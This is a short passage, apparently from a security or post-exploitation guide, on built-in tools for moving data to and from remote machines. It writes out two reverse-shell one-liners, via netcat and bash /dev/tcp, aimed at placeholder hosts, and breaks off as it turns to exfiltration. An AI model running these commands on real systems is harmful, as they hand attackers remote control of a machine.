There are multiple system tools that can be found by default on many systems that can be used to interact with remote machines in order to either download or upload data, depending on availability:
- wget
- curl
- ftpget
- ftp
- tftp
For devices using the BusyBox suite, alternative commands such as busybox wget or busybox ftpget can be used instead.
nc (netcat) and scp tools can also be used for similar purposes. Another advantage of nc is that some versions of it can be used to establish the reverse shell:
nc -e /bin/sh <remote_ip> <remote_port>
There are many ways this can actually be achieved, even bash only (some versions of it) may be enough:
bash -i >& /dev/tcp/<remote_ip>/<remote_port> 0>&1
Pre-installed script languages such as Python or Perl can provide plenty of options for communicating with remote servers, including the creation of interactive shells.
An example of the more advanced way to exfiltrate...